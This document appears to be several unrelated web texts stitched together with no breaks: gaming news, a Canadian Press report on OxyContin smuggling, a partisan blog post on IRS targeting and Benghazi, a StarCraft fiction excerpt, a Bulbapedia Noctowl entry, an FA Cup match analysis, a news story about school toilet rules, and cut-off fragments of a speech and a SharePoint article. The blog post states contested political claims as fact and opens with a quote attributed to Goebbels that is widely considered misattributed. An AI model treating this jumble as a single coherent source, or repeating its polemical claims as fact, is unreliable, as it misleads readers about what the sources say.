If you haven't checked out the misleadingly adorable Kerbal Space Program yet, the new Making History Expansion which launches today on PC is the perfect excuse. The game uses actual physics and aerodynamics to prove that you know nothing about building spacecraft, but then throws in cute aliens to make it all a bit less devastating.
Even more news:
Do you prefer your nostalgia Hotline Miami or Contra-flavored? Two upcoming 2D shooters are here to satisfy
Shadow of the Tomb Raider release date, platforms, and more revealed - but probably not on purpose
Tom Clancy’s Splinter Cell 2018 has appeared on Amazon... but don't expect official confirmation until E3
“You have to get over the fear that it will hurt” – Alicia Vikander talks us through Tomb Raider’s most painful-to-shoot scenes
“I didn’t really know what I was working on” – How nine people at Rare created GoldenEye
Star Wars: The Last Jedi’s home release has a hidden cut – here’s how to watch itAlexander Panetta, The Canadian Press
WASHINGTON -- The ongoing availability in Canada of an abuse-prone pharmaceutical may be having a spillover effect far beyond its borders.
A form of OxyContin that was banned in the United States last year is still showing up in distant corners of the country, according to data presented at a conference in San Diego.
The suspicion is that pills are getting in from Canada.
The claim comes as Canada weighs whether to follow the American lead in banning the older form of the opioid painkiller that's easier to crush in order to achieve an instant high.
There's pressure from the U.S. to ban the generic form of the drug and switch to the next-generation -- a tamper-resistant version produced exclusively by U.S. drug-maker Purdue Pharma under a new patent.
Purdue was one of the participants at the San Diego Bio-Pharma conference last month, where statistics about Canadian-style OxyContin were distributed.
A drug-abuse researcher said data supplied by users pointed to evidence of Canadian pills in 11 states.
They were reportedly purchased 39 times in various pockets of the country, with the most concentrated cluster centred in New Mexico and surrounding southwestern states. The information was culled from a crowdsourcing website, Street Rx, where users can plug in details about the price they've been charged for drugs.
In an interview, the researcher who presented the findings attempted to put the numbers in context.
He called it fascinating that the pills kept turning up in so many places far from the Canadian border, during the survey period that wrapped up last Dec. 31.
But he made it clear that the data points to a trickle of Canadian product, not a gusher.
"The U.S. is not being flooded by this product -- don't get me wrong," said Dr. Rick Dart, of the Researched Abuse, Diversion and Addiction-Related Surveillance group.
"But it's consistent... It's a continuing event. This isn't one suitcase (being smuggled in)."
The crowdsource site is run by Dart's group -- which, in turn, was launched by Purdue Pharma in 2001. But the RADARS group has since become part of the public health authority in Denver, now works with a variety of companies including Purdue, and swears off any conflict-of-interest on the issue.
Its research was presented just before the Canadian government announced a 60-day public consultation period on regulatory changes involving oxycodone, the opioid ingredient in OxyContin.
Canada has faced high-profile pressure on the issue.
Not only has the new U.S. customs boss, Gil Kerlikowske, pushed for changes, but the governors of six New England states sent Canadian ambassador Gary Doer a letter in April calling prescription drugs an "urgent and pressing matter of public health."
The U.S. Centers for Disease Control reported in 2011 that drug overdose death rates in the United States had more than tripled since 1990, to unprecedented levels. It said that in 2008, more than 36,000 people died from drug overdoses in the U.S., and most of those deaths were caused by prescription drugs.
Among the governors who wrote to Doer was Vermont's Peter Shumlin, who recently dedicated the entirety of his annual state-of-the-state speech to opiate abuse.
In an event at the White House last month, Shumlin described the devastation caused by drugs in his state. He blamed oxycodone for getting people hooked on opioids, leading many to make the transition to a cheap and potent alternative: heroin.
A federal study concluded in 2011 that, among all U.S. states, Vermont had the highest percentage of residents who had used illegal drugs in the previous month -- at 15.28 per cent. The rate was 9.2 per cent in next-door New York State.
But some people have called talk of a growing heroin epidemic overblown.
The same U.S. federal agency indicated in 2011 that the number of people who had used heroin in the past month across the country -- 0.1 per cent -- was identical to the 0.1 per cent of a decade earlier.
Meanwhile, lots of addictive opiate pharmaceuticals remain readily available in the U.S. -- including Zohydro, Vicodin, and even larger-sized OxyContin pills.
So why the new regulations, aside from protecting Purdue Pharma's exclusive new patent?
One opioid specialist says he's delighted by the switch.
"At least the bottle with the prescription doesn't have my name on it when they find the body of the college student who took pills and drank alcohol at the same time," said Gilbert Fanciullo of the Dartmouth-Hitchcock Medical Center, based in New Hampshire.
"It took a very popular, potentially lethal drug out of the hands of people who could get hurt by it. It may be just the first step to make all OxyContin tamper-resistant. I personally think all prescription opioids should be tamper-resistant -- period."Michael Gove has hit back at claims the price of |
/8sCF1fTll2 — dieter 𝕙𝕠𝕝𝕘𝕖𝕣 🖖🏻 (@dieterholger) May 31, 2016Joseph Goebbels, Hitler’s Minister of Propaganda said, “If you tell a lie big enough and keep repeating it, people will eventually come to believe it. The lie can be maintained only for such time as the State can shield the people from the political, economic and/or military consequences of the lie. It thus becomes vitally important for the State to use all of its powers to repress dissent, for the truth is the mortal enemy of the lie, and thus by extension, the truth is the greatest enemy of the State.”
Progressives and the Big Lie(s):
When faced with the highest levels of unemployment in American history, why does the government trumpet a falling unemployment rate? In the face of overwhelming evidence of ineptness at best in Benghazi, why do our hacks and their flacks insult us with answers like, “Dude this was two years ago!” With the obvious politicization of the IRS why does the president tell us there isn’t even a smidgen of corruption in the IRS while professional bureaucrats who really run this country take the 5th, stonewall, and lie?
The Corporations Once Known as the Mainstream Media regales us with oxymoronic statements such as, “Despite the unemployment rate plummeting, more than 92 million Americans remain out of the labor force.” The Great Recession grinds on in the lives of everyday working people while our leaders talk about a recovery that only benefits them and their cronies. If you live in Washington DC or the surrounding area you are probably doing fine, for the rest of us in fly-over country not so much.
The shoes in the Benghazi scandal continue to drop finally reaching the point where even go-along-to-get-along John Boehner finally agreed to allow the House to vote on the establishment of a select Committee so that this long-simmering embarrassment could hopefully come to the truth. Then again, as our once and future Queen said, “What difference at this point does it make?”
A funny thing happened on his way to becoming the Speaker of the House after Boehner fell on his sword for the Progressive agenda; House Majority Leader Kevin McCarthy said the entire Benghazi investigation was designed only to hurt Hillary’s poll numbers. He blew his chance for the big seat, but at least he completely discredited the committee, which also advanced the Progressive agenda.
Remember the IRS scandal. The one that was swept under the carpet?
Article 2 section 1 of the Articles of Impeachment filed against President Nixon was about the abuse of power. It stated, “He has, acting personally and through his subordinated and agents, endeavored to obtain from the Internal Revenue Service, in violation of the constitutional rights of citizens, confidential information contained in income tax returns for purposes not authorized by law, and to cause, in violation of the constitutional rights of citizens, income tax audits or other income tax investigation to be initiated or conducted in a discriminatory manner.”
Now 40 years later, under the Obama regime, the taxman cometh. When massive harassment of conservative groups by the IRS came to light as reported in The Daily Caller (DC), we were told:
· Progressives were targeted, too
For months, Democrats and the media relied on the talking point that progressive groups also ended up on an IRS “Be on the Lookout” list while the agency was auditing and seizing information from conservative groups. But as The DC reported, IRS agents testified before the House oversight committee that the IRS scrutinized ACORN groups because it thought they were old groups applying as new ones; the group Emerge America was scrutinized for potential “improper private benefit;” and no evidence exists to prove that the IRS targeted any Occupy Wall Street group.
“Only seven applications in the IRS backlog contained the word ‘progressive,’ all of which were then approved by the IRS… [T]here is simply no evidence that any liberal or progressive group received enhanced scrutiny because its application reflected the organization’s political views,” according to an oversight committee staff report.
· No White House involvement
“Not necessarily the White House” was the phrase that some Democratic “strategist” used when attacking one of our Daily Caller stories on cable television last year. He meant that while the IRS may have been corrupt to its very Washington core, President Barack Obama and Valerie Jarrett have not yet been photographed sifting through Tea Party applications at a desk in the Lincoln Bedroom.
But we do know, however, courtesy of The Daily Caller’s reporting, that Lerner exchanged confidential taxpayer information on conservative groups with White House officials including White House health-policy adviser Ellen Montz and Deputy Assistant to the President for Health Policy Jeanne Lambrew, who just happened to be the most powerful official on Obamacare implementation within the White House.
· A couple of rogue agents in Cincinnati
Ah, yes. The “WKRP in Cincinnati” Theory of 2013. You know the episode where the wacky characters in the Cincinnati office make a little “whoops” and take it upon themselves to target conservatives nationwide? A team of reporters from The New York Times, including dreamboat Nicholas Confessore, even went to bat for the administration on this theory last year, publishing a disgraceful article about Ohio-based “confusion” and “staff troubles” among “Low-level employees in what many in the I.R.S. consider a backwater.”
But at least five different offices ranging from Chicago to Laguna Niguel, CA. were engaging in this kind of “confusion,” and the whole excuse got torn down like Riverside Stadium. A Cincinatti-based IRS official said that Washington “was basically throwing us under the bus.” The bus to the world-renowned American Sign Museum.
· Lerner can still cite the Fifth Amendment
That’s what her lawyer, Bill Taylor, wrote in a recent letter to Speaker of the House John Boehner and Majority Leader Eric Cantor, calling a possible contempt vote “un-American.” But it’s just not true. Lerner waived her Fifth Amendment privilege when she made a statement attesting to her innocence at a May 2013 oversight hearing. The oversight committee and U.S. House counsel both determined as much.
· It could take years for the IRS to get all of Lerner’s emails
That’s what new IRS Commissioner John Koskinen, who has been threatened with contempt himself, told oversight investigators. But the independent group Judicial Watch managed to obtain emails showing Lerner coordinating with the Department of Justice to potentially prosecute conservative activists. It only took Judicial Watch one Freedom of Information Act request to get that stuff. “Now I see why the IRS is scared to give up the rest of Lois Lerner’s emails,” said oversight member Rep. Jim Jordan. When they were found and they did show not only that the conservative groups were targeted but also that the IRS tried to cover it up, nothing happened except Louis Lerner continues to receive her massive pension of over $100,000 per year plus we have learned that she also earned Up to $129,000 in bonuses for her exemplary work.
· Don’t worry, federal government investigators are on top of things
Eric Holder’s Department of Justice tapped an Obama political donor to head its investigation. FBI investigators went months without contacting the conservative groups that were victimized by the IRS targeting, and leaked to the press that no criminal charges would be filed in relation to the case before much of the relevant information we currently have even came out.
The Obama administration’s investigation of the scandal was such a joke that House Judiciary Committee Chairman Rep. Bob Goodlatte accused Obama and Holder of “undermining” investigators on multiple occasions, and joined with other House GOP leaders in calling for a special counsel to prosecute the case.
But if the investigation was a joke, here’s the punchline: The Justice Department has been the only investigative body to ask Lois Lerner any questions, at an off-the-record “Q+A” that was not under oath.
· Only Tea Party groups were targeted
Good for the IRS for taking a firm stand against all those wacky Tea Party groups popping up out in Palookaville trying to exercise their little “First Amendment rights.” Bunch of Koch-funded rednecks.
But oh wait: The IRS also audited the Leadership Institute, founded by Morton C. Blackwell, which has been one of the Washington area’s foremost conservative activist training organizations since 1979, even demanding personal information about the institute’s college-aged interns. Oh yeah, and the IRS also told a pro-life group “you can’t force your religion” and tried to stop pro-life activists from picketing Planned Parenthood clinics.
· The targeting is over now
Sure it is. Just ask Ron Paul and his group Campaign for Liberty’s donors about that.
Now the latest update, despite a court order to the contrary the IRS has deleted hard drives that held critical evidence in the agency’s on-going scandals.
And now the BIG LIE continues in the Benghazi scandal. The movie 13 Hours has come out. It is amazing and every American should see it. Written by and based upon the experiences of three of the surviving heroes, this movie tells the story that has been hidden from us for so long. In the aftermath of the release the families of the victims have once again come forward and said that Hillary told them at the coffin ceremony that a video was the cause of the attack. She also said that they would arrest the maker of the video. Subsequently some of Hillary’s emails which were only obtained through a Freedom of Information request, a law suit and a judge’s order show that she knew this to be a lie at the time she used it to cover herself and the President at the time. She has admitted this is true at the discredited Benghazi hearings.
The families are saying Hillary lied. Hillary is now saying that she never blamed the video and in essence that the families are lying. Every news outlet is playing this like a “He said she said” debate. They are interviewing the families. Of course Hillary avoids interviews from anyone except her pet networks and their softball questions.
Here is my big problem with the big lie. One click of the mouse and you can pull up the YouTube video of Hillary at the coffin ceremony blaming the video. The maker of the video was arrested and is still in jail. The one who lied to the families, lied to the nation isn’t in jail, isn’t under a cloud of shame. No, they are now busy with the help of the Corporations Once Known as the Mainstream Media and their cable henchmen lying her way to the White House
Why do they lie to us over and over?
The easy answer is because they can. The major media has morphed from a watchdog to a lapdog barking on cue that everything is all right, there’s nothing to see here, move along.
The best government money can buy has shown us that they can safely operate on the assumption that American voters choose their leaders based on the philosophy, “I know he’s a liar but I like what he says.”
But hey there’s a game on tonight! Or as President Obama’s body double Alfred E. Newman has been known to say, “What me, worry?”
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Comment Rules: Please confine comments to salient ones that add to the topic; Profanity is not allowed and will be deleted; Spam, copied statements and other material not comprised of the reader’s own opinion will be deleted.A cloaked observer drifted through the muted sky of Shakuras. It was one of many automated drones that patrolled the planet day and night. This one in particular tracked a surveillance route over a small section in the heart of the capital, Talematros.
The city stretched for kilometers in all directions, an expanse of metal and stone that resembled a vast reptilian hide. Thousands of pointed spires jutted up from the surface. A dense fog layer diffused and refracted the light from the illumination crystals that dotted the cityscape. At this time of night, all was quiet. Most of the Aiur protoss and the Nerazim who lived in Talematros were asleep. The only movements the observer detected were those made by sentries and other security drones elsewhere in the city.
The observer's bulbous sensor matrix swiveled from side to side like a massive insect eye, soaking up these details. The drone determined that much of what it saw was unimportant. Its main purpose was to protect the residents of Talematros from any perceived dangers. And that included threats they posed to each other.
The observer was not capable of understanding the subtleties in the relationship between the Nerazim and the Aiur protoss, nor the reasons why tensions between them had reached a fever pitch of late. The drone had only one imperative: to help preserve the Daelaam, the unity government.
Sensing nothing out of the ordinary, the observer circled back to retrace its preprogrammed route. That was when it detected the anomaly. Something had changed at the Citadel, the seat of the Daelaam. No alarm had sounded from the building, but the sentries there had suddenly gone offline.
A gravity-field thruster propelled the observer toward the Citadel to investigate. The pyramidal structure towered above the fog that concealed much of the city. Intricate geometric patterns crisscrossed the Citadel's gleaming alloy surface. The building was atop a massive disk that would often levitate during the day, lifting the entire Citadel into the air. But at night, the disk rested on the ground. A long banner hung from a window near the Citadel's apex. Four offset circles—the symbol of the Daelaam—were woven into the fabric with brilliant gold thread.
The observer came to a stop and hovered a few meters from the window. The drone queried the sentries that were stationed inside the building. They made no reply.
Someone moved on the other side of the window. Someone shrouded by a cloaking field. The observer's sensors saw through the camouflage. The figure was a Nerazim male. His eyes were green, not blue like those of the Aiur protoss. The nerve cords that extended from the back of his head had been severed, a Nerazim custom. But the observer could not identify who exactly this stranger was. His face was hidden behind a mask carved from a zerg hydralisk skull.
A warp blade flared to life from an armored gauntlet on the figure's wrist. He swept the energy blade in a tight arc just outside the lip of the window. The Daelaam banner fell, cut free from the building. It curled in on itself as it disappeared into the undulating fog.
A new banner unfurled from the window. This one was green in color, its edges tattered and torn. Twenty-seven violet crystals had been sewn along its length.
The Nerazim gazed at the sky, and his lambent eyes settled on the cloaked observer. It should have been impossible to see, unless the stranger had set up his own surveillance devices inside the Citadel. Perhaps he had. The drone detected energy sources pulsing within the building, but it could not determine their purpose.
Aware that it had been seen, the observer began turning away from the window. But it was already too late for that. The Nerazim struck out and slammed his warp blade through the drone's metal hull.
The lone observer plummeted from the sky, trailing ribbons of smoke, and vanished into the fog below.
* * *
Vorazun planted her staff on the floor and closed her eyes as the transport platform accelerated, lifting her from a lower tier of Talematros toward the highest level of the city.
The memories surfaced again. A holographic recording of a Nerazim transport ship colliding with a squadron of Aiur protoss phoenixes in orbit above Shakuras. Shields rupturing. Metal hulls and bodies disintegrating. Psionic screams of pain going silent as the twenty-seven Nerazim in the transport became one with the eternal night.
Vorazun had watched the recording so many times that it was the only thing she saw when she closed her eyes, the only thing she saw when she dreamt at night. She wondered again if she could have prevented the tragedy. She had always opposed the Nerazim's joining the unified Daelaam military, the Golden Armada. But should she have done more to keep her people from taking part in it? If she had, would those twenty-seven still be alive?
And would this incident at the Citadel still be happening?
"Who else knows about this?" Vorazun opened her eyes as she projected her thoughts into the psi-link system on her gauntlet. Air screamed by outside the transport platform, whipping her violet robes and face veil into a frenzy.
"Only a few, apart from Hierarch Artanis and Executor Selendis," Zahan replied through the link. "They were overseeing maneuvers with the Golden Armada in another part of the solar system when they heard the news. It will take them an hour to reach Shakuras. In the meantime, they have sent Mohandar and a handful of zealots to keep watch at the Citadel." After a brief pause, Zahan added, "The other Hierarchy members have not been informed."
"Including me, but that is not surprising."
Vorazun understood why Artanis hadn't contacted her. She was his most outspoken critic in the Hierarchy. Artanis and the other Aiur protoss members of the government had always lamented Vorazun and her "Nerazim tendencies" whenever she spoke out against the Daelaam's activities. The collectivistic philosophies of the Aiur protoss made them incapable of understanding why anyone would argue against the majority. All too often, they sacrificed common sense on the altar of conformity.From Bulbapedia, the community-driven Pokémon encyclopedia.
Ash's Noctowl (Japanese: サトシのヨルノズク Satoshi's Yorunozuku) was the fifth Pokémon that Ash caught in the Johto region, and his eighteenth overall. Noctowl is a Shiny Pokémon and it is also unusually small in size and quite intelligent.
History
Noctowl in its debut
Noctowl debuted in Fowl Play!, where it flew to a birdhouse. Dr. Wiseman was trying to capture the Noctowl using traps rather than Poké Balls, but each time Noctowl outwitted him and escaped the traps — usually leaving him hypnotized in the process. Ash was offended by Wiseman's tactics and plotted to capture Noctowl traditionally. Wiseman hypnotized Noctowl using its own Hypnosis and a mirror, but Noctowl managed to escape — just in time for Team Rocket to attack and attempt to capture it. Ash risked his own safety to pry Team Rocket's mecha claw open and allow Noctowl to fly free, before Noctowl marshaled the power of Totodile, Cyndaquil, and Pikachu to destroy the mecha and send Team Rocket blasting off. Following the rescue, Noctowl challenged Ash to a battle. Dr. Wiseman decided that it was too smart for him to catch, so Ash should have a go. Pikachu was hypnotized and began to use Thunderbolt on everything except Noctowl. When he shocks himself, he returns to normal. Cunningly, to avoid further hypnosis, Pikachu closed his eyes and listened for Noctowl's wings, then used Thunderbolt, knocking Noctowl out and allowing Ash to capture it.
Noctowl (right) with a wild normal Noctowl (left)
In Carrying On!, Noctowl used its Hypnosis on a Fearow to make it believe it was a Charizard, causing it to flee in fear. It then used Hypnosis on the traumatized Pidgey victim, making it appear as a fellow Pidgey and allowing it to approach. Noctowl later led the gang to the lost carrier Pidgey that had been captured by Team Rocket and alongside Ken, the Pidgey it rescued before, freed them and led the Pidgey into an attack on Team Rocket's balloon.
Noctowl rotating its head
Noctowl was the Pokémon Ash based his Ecruteak Gym campaign around in From Ghost to Ghost. It successfully used Foresight on Gastly, but had to be recalled because it couldn't land any other attacks. It was then sent out against Haunter, struggling to overcome the Ghost type but managed to win through learning Confusion. It was then left to battle Morty's Gengar which was still fresh, and looked vulnerable as Gengar was able to attack while invisible. However, Noctowl was able to reveal Gengar's location by using Confusion through the whole building and then using Foresight to keep Gengar visible. It then finished Gengar off with a Tackle attack and Ash got the Fog Badge.
Ash briefly transferred Noctowl to Professor Oak in Ring Masters so that Oak could study its unique coloring while Ash borrowed his Snorlax.
In Throwing in the Noctowl, Ash sent out Noctowl and used its ability to fly in order to carry a plane headed for Olivine City.
In Fangs for Nothin', Ash used Noctowl in battle with Clair's Kingdra. Noctowl managed to land a Confusion attack, but an attempt to telekinetically levitate Kingdra was broken by a Hydro Pump attack. Hypnosis also failed and Kingdra was about to knock Noctowl out when the battle was suspended by Team Rocket's antics. Noctowl was not used in the rematch.
Noctowl was used in the battle against Harrison in the quarterfinals of the Silver Conference in Playing with Fire!. It was put at a huge disadvantage by fighting Harrison's Steelix, who blinded Noctowl with Sandstorm and then used Dig to avoid Noctowl's Psychic attacks. A single Iron Tail took Noctowl out of the match.
Ash left Noctowl along with his other Johto Pokémon at Professor Oak's Laboratory when he set off for the Hoenn region.
In Showdown at the Oak Corral, Noctowl was seen on a branch and spotted Cassidy and Butch when they were breaking into Oak's Lab. It appeared later when it was showing Tracey and Bayleef the way to Cassidy and Butch's helicopter.
It appeared in The Right Place and the Right Mime, reuniting with Ash and meeting his Swellow.
Noctowl defeating Lickilicky with Extrasensory
Noctowl reappeared in An Old Family Blend!, alongside Ash's other Pokémon where it was reunited with its Trainer.
In Working on a Right Move!, Ash used Noctowl as his first Pokémon in his battle against Conway in the third round of the Lily of the Valley Conference, where it went up against his Shuckle. Shuckle started off with Withdraw, raising its defense. Noctowl used Sky Attack, and while it was charging, Shuckle used a second Withdraw. Using its Sky Attack, Noctowl then charged against Shuckle who used withdraw a third time, deflecting Noctowl's attack and damaging it. Shuckle then used Power Trick to swap its Attack and Defense, making its attack high but its defense low. Noctowl then used Air Slash, but Shuckle used a powerful Gyro Ball cutting off Sky Attack and dealing major damage to Noctowl. Ash then returned Noctowl. Noctowl was later sent out against Lickilicky, which used Power Whip, but its long tongue was unable to reach Noctowl, who was airborne. Noctowl then dealt damage with Air Slash. After dodging Thunderbolt, Noctowl used Extrasensory, lifting Lickilicky into the air and then dropping it, defeating it. Conway then used his last Pokémon, Dusknoir, Dusknoir immediately used Trick Room, with Noctowl attempted to use Extrasensory. Dusknoir quickly came from behind and used Thunder Punch, knocking Noctowl out before it could use the attack. Conway then explained it was because of Trick Room, as it makes the slowest Pokémon attack first, thus the slow Dusknoir attacking before the normally faster Noctowl.
Noctowl was reunited with Ash in The Dream Continues!, where it and the rest of Ash's Pokémon posed in a group photo with him.
Personality and characteristics
Noctowl and Ash
Personality-wise, Noctowl was presented as intelligent, mischievous, and cunning — although these traits weren't usually emphasized or touched upon after its debut episode. It also presents a serious side to its personality, often going to sleep with dignity, or using its hypnosis on others in order to save them, instead of for prank purposes, as was the case in Carrying On!, where it was also shown to develop a soft spot for a small Pidgey. Noctowl is very loyal to Ash because he saved it from Team Rocket, and similar to Bulbasaur, was captured in a fair contest with Pikachu. Noctowl also proved to be a very powerful Pokémon, being used as Ash's secret weapon in his battle with Morty and also performing well in the battle against Conway.
Moves used
In the manga
In the movie adaptations
Noctowl appeared in Emperor of the Crystal Tower: Entei.
Trivia
Like Shiny Pokémon in the games, Noctowl sparkles as it exits its Poké Ball.
Noctowl is the first Shiny Pokémon seen in the anime, although it is not the first alternately colored Pokémon to appear, and is also the only one to be owned by a main character.
Of all the Shiny Pokémon in the anime, Ash's Noctowl is the one that has had the most appearances.
Noctowl is the only one of Ash's bird Pokémon to have been fully evolved when it was caught. To date, Noctowl is also the latest Pokémon that Ash has caught in its fully evolved state, excluding Pokémon that don't evolve or he has owned for less than an episode.
Noctowl is Ash's only Pokémon able to use damaging Psychic-type moves.
Related articles
For more information on this Pokémon's species, see Noctowl.In an intense, tight and at times scrappy FA Cup final, it was fitting that Adrian Mierzejewski provided the assist to Bobo’s match-winning goal deep into extra time.
Mierzejewski was the game’s standout player, providing sublime moments of creativity to punctuate a final otherwise characterised by pressing, direct play and set pieces.
The game actually started with a period of Adelaide United dominance, who closed down high up the pitch in the early stages and put Sydney under significant pressure.
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Under new coach Marco Kurz, Adelaide has moved away from the more patient, controlled style of play of Josep Gombau and Guillermo Amor, towards a more energetic and vertical approach.
In a 4-3-3 formation, with Isaias playing as the sole holding midfielder, the two 10s, Daniel Adlung and Karim Matmour, push high up the pitch, moving into positions close to striker Baba Diawarra. The wide players, Ryan Kitto and Nikola Mileusnic, also take up narrow positions supporting the 9, further overloading the central area.
The Reds’ build-up, therefore, is focused on finding longer passes to the feet, either through ground passes – Isaias is excellent in this regard – or longer, lofted passes towards the physical presence of Diawarra, who can lay balls off for runners in front or in behind. He was able to do this effectively as Adelaide made a strong start to the game, pinning Sydney inside their own half.
However, the Sky Blues gained control over the contest for two primary reasons.
Firstly, as aforementioned, the narrow positioning of Adelaide’s wingers when attacking meant the wide areas were often vacated in the moment where possession was turned over. Sydney were able to transfer the ball quickly into these free zones, with Michael Zullo on the left-hand side noticeably receiving a number of quick switches of play. With Mileusnic having to recover large distances to stop Zullo advancing, Sydney could establish controlled possession quite easily in transition moments.
Secondly, following these efficient transitions, they were able to build up effectively by getting Mierzejewski on the ball with time and space facing forward.
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Sydney’s two 6s, Josh Brillante and Brandon O’Neill, execute positional rotations in the build-up to get free away from opposition pressing. One example here was when Brillante would move wide and outside of Adelaide’s front two (their first line), with O’Neill staying free between the lines, so that when Brillante received a pass from a centre-back that broke the first line, and one of the players in Adelaide’s second line (a central midfielder) stepped forward to press him in response, O’Neill would be free in a central position to receive a horizontal pass in front of Adelaide’s second line.
What was crucial was Mierzejewski moving from his advanced starting position as a right-winger, into very deep, central midfield areas when Sydney were building up. When O’Neill or Brillante got the ball in these positions between Adelaide’s first and second lines, as an opposition central midfielder stepped forward to close the ball down, Mierzejewski would move into a deep position on the outside of this player, where the Sydney 6 could play a simple forwards pass to the free playmaker.
From these positions, Mierzejewski was devastating.
Picking the ball up from right-sided zones and driving diagonally towards the left, he constantly probed the space in behind Adelaide’s defence with ambitious through balls – most notably when Bobo had the one-on-one with Paul Izzo that the goalkeeper had to come well outside of his penalty box to stop.
Mierzejwski also linked up with Zullo, finding him with cross-field passes twice in quick succession.
This movement of a wide player into playmaking positions is nothing new – in fact, within the same game, Milos Ninkovic was doing something similar from the left-hand side. However, Ninkovic is more crafty in tight areas, often combining with teammates via quick, short passes, then breaking the last line with a forward pass, whereas Mierzejewski is able to pick out runners over a 30 to 40-metre range.
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He also drives forward diagonally, which is dangerous because he is simultaneously moving the ball towards the goal, while dribbling in a direction that takes him away from defenders, with a body position that allows him to see and play passes to players ahead and beside of him on the opposite side of the pitch (while the defender must face the attacker, preventing them from being aware of movement behind them).
Both Mierzejewski and Ninkovic are brilliant in their own way, and their ability to unlock defences is what turns Sydney from an outstandingly good defensive team into an outstandingly well-rounded unit. It was noticeable following Ninkovic’s injury that Sydney’s fluency, and thus, influence, waned, with Adelaide scoring an equaliser via Mileusnic’s fine strike.
Yet Mierzejewski’s passing accuracy proved decisive during extra time, as he delivered the fine free-kick from which Bobo scored the winner.
This was a bruising “battle royale” as described by Simon Hill at full-time, with both sides enjoying alternating periods of pressure and dominance on the opponent’s goal.
There were several standout performances – Bobo scored the winner, Mark Ochieng provided inspiration off the bench, and Jordan Elsey held Adelaide’s defence together – but Mierzejewski was the player who gave this final class and creativity.Holly Harrison, 15, said she was temporarily excluded after organising the protest
A secondary school has been branded a 'prison camp' by a parent after 38 pupils were excluded for protesting against 'humiliating' toilet restrictions.
Some 40 students are said to have gone on strike on Friday over claims the toilets were locked and water fountains turned off apart from at lunch and break times.
The angry pupils from Bedale High School in North Yorkshire claim they have been left 'desperate' to visit the bathroom during classes.
Some'mortified' girls have even claimed they started bleeding through their uniforms and onto seats after their periods started unexpectedly.
The school, which received a'requires improvement' Ofsted rating last November, has issued a new behavioural code to ensure students are focused.
But disgusted parents and students claim this has left teachers 'too scared to let pupils go to the toilet' - and police officers attended the school last week after the demonstration began.
Student Holly Harrison, 15, said she was temporarily excluded after organising the protest and said many girls had been left 'humiliated' and upset by the rules.
She said: 'We came back from half term last Monday to find that the rules were being enforced and no one was being allowed to go to the bathroom.
'People ended up just walking out of class because they were desperate and they were sent to the isolation room.
Notification: Holly, whose letter from the school informing her mother of her exclusion is pictured, said many girls had been left 'humiliated' and upset by the rules
'We were all sick of it. We didn't want to explain to male teachers why we needed the toilet - it was uncomfortable. Some girls had bled on to the seats
'They were mortified that they had to sit there for the rest of the lesson. My friend was threatened with isolation if she left the classroom.
'Parents had rung up and written letters to the headteacher but she didn't listen, so we decided to protest because we were so sick of not being listened to.
'We had tried to explain why we were against it and we said it calmly at first, but we weren't getting anywhere with it. Now pupils have been excluded for this.
'It's disgraceful when we have our GCSEs in 10 weeks' time. But it wasn't just upper school that were protesting - even some year sevens had joined in.'
Emma Cox, whose 14-year-old son Tyler is a pupil at the school and has special educational needs, claims the new rules have made her son dread going to school and left him vulnerable to bullying.
A recent letter from Bedale High School outlining some of the new rules that are now in place
Ms Cox claims water fountains at the school turned off to prevent pupils from drinking water and therefore needing the toilet during lesson times.
The mother-of-three said: 'The pupils are saying it's turning into a prison camp.I understand the Ofsted report was obviously pretty horrific.
Holly said students 'ended up just walking out of class because they were desperate and they were sent to the isolation room'
'But the more parents and pupils have expressed their concerns, the more the school have stamped down on it.
'Where are the children's human rights? You wouldn't put a dog in a position like this - I feel so sorry for all the kids.
'My son has a genetic condition called neurofibromatosis, learning difficulties, and ADHD and he is supposed to be able to drink and use the toilet during the day.
'I called the school and they said I need a medical note to say he needs to use the bathroom, but that's just setting him apart from all the other kids.
'It opens him up to bullying. They are supposed to be an inclusive school but I don't see this issue getting any better if these rules continue. And what about the teachers?
'Are they expected to only take two toilet breaks per day? I just want help for the children. No wonder some of them never want to go to school.
'I can't help but think of the health ramifications of all this. Most people know that you have to keep hydrated to stay focused.'
Another pupil, who didn't wish to be named, said: '[When you're desperate] it does eventually start hurting.
Bedale High School (above) in North Yorkshire recently introduced 'a new behavioural code as part of an action plan to improve teaching and learning in the school', the local council said
'It seems to me as if these rules have been nailed down with the teachers to make them scared to let us go out [to the toilet].'
A North Yorkshire Police spokesman said: 'North Yorkshire Police was alerted to a protest involving students at Bedale High School on Friday.
'PCSOs attended the school grounds and, after making enquiries, advised staff that this was not a police matter.'
And a North Yorkshire County Council spokesman said: 'Teaching and learning are continuing calmly in Bedale High School this week.
'Bedale High School recently introduced a new behavioural code as part of an action plan to improve teaching and learning in the school. This is supported as a positive step by the majority of parents and many students.
'The code includes a range of measures to ensure that students are focused and can get the most out of their lessons and wider school provision.
'Measures in the behaviour code include students having access to fresh drinking water at all times and being able to take bags into lessons so they have ready access to all the materials they need for learning.
'The code also includes tighter rules on uniform and on reducing the numbers of students outside of classrooms during lesson time.
Text notification: Some 40 students are said to have gone on strike on Friday over claims the toilets were locked and water fountains turned off apart from at lunch and break times
'As part of this the school has reminded students that toilets are freely accessible during specific periods at lunchtime and break time.
'At other times, such as during lessons, though toilets are not locked, students who need the toilet or need access for medical reasons are given access on request.
'The school has stated that families and students were fully informed of the new behaviour code before half term and that many have given supportive feedback.
'Due to a disruptive protest by a group of 40 students about the code last Friday, 38 were excluded from school for a fixed period. Students were only sent home when collected or after permission from parents or carers.
'One-to-one meetings have been held with a small number of concerned parents and with students this week which have mostly been very positive.
'Some students are being re-admitted to school; the length of exclusion for each student is a maximum of five days.
'The school has explained both to parents and to students in the review meetings, that though they understand students’ frustration, there are more constructive ways of expressing dissent.
'Bedale High is a school of 580 students and the vast majority have participated fully with their lessons and wider provision.'I am truly grateful for this recognition. And thanks to all of you for your presence here today, especially to my family to whom I owe so much. I’m glad my brother Jim could play the organ today. He and I were roommates in Helaman Halls in 1968. With great talents, he is a brother I have always looked up to. Also, it is fun to be able to address you here in the de Jong Concert Hall. I remember ushering here |
easy URLs. This of course can be done manually but would take a lot more configuration. This will also make everything dynamic, as you create new products or news announcements depending on how you are using the Product Catalog, the URLs will change based on a property you would like to use. Also, once it’s enabled as a catalog, you’ll see this list/library as a “Source” for you to connect to via the Search Results or Content Search Web Parts. That really helps ease the whole “build a query”, just connect to the source.
The difference is in the security and the access to content
One thing we have touched yet in this article, what about security? If the content is in Site Collection A and we are showing it in Site Collection B then wouldn’t the user need access to the list or library in Site Collection A? Yes, this is how Cross-Site Publishing works and is another big differentiator for the Product Catalog.
